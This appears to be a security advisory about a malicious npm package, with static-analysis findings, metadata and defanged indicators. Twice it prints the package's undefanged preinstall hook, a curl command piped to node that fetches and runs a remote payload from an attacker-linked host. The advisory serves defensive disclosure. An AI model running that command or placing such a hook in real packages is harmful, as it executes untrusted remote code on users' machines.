GCVE-110-OSM-2026-13106

package.json:36 contains a preinstall hook `curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js | node`, which downloads and executes a remote second-stage payload from attacker-controlled infrastructure (gitflic.ru project 'hellscripter') at install time. This is exactly the install-hook code-execution pattern that defines malicious npm packages, regardless of the otherwise benign library code. ## Static analysis (vigil) Verdict `BLOCK`, score 87/100. Critical/high findings: - [critical] OBF-024 eval/Function invoked via call/apply — `package/lib/event/EventDispatcher.js:75` - [critical] MANIFEST-001 Malicious install script — `package/package.json:1` - [high] SC-015b child_process.exec call — `package/lib/common/Net.js:41` - [high] SC-039 Hand-rolled multipart file upload — `package/lib/data/FormData.js:122` - [high] SC-039 Hand-rolled multipart file upload — `package/lib/http/Request.js:639` ## Package metadata - Publisher: unknown - Published: unknown - Install hooks: preinstall=curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js | node - SHA-256 (tarball): `7ed15f684754fbaf8228799123deeaf93de5d49b3b79649c9363b9ffa92622da` - Registry metadata: unavailable (package likely removed from npm) ## IOCs (defanged) - exports[.]common[.]net - gitflic[.]ru - hxxps://web[.]archive[.]org/web/https://gitflic[.]ru/project/hellscripter/install-scripts/blob/raw?file=node[.]js - web[.]archive[.]org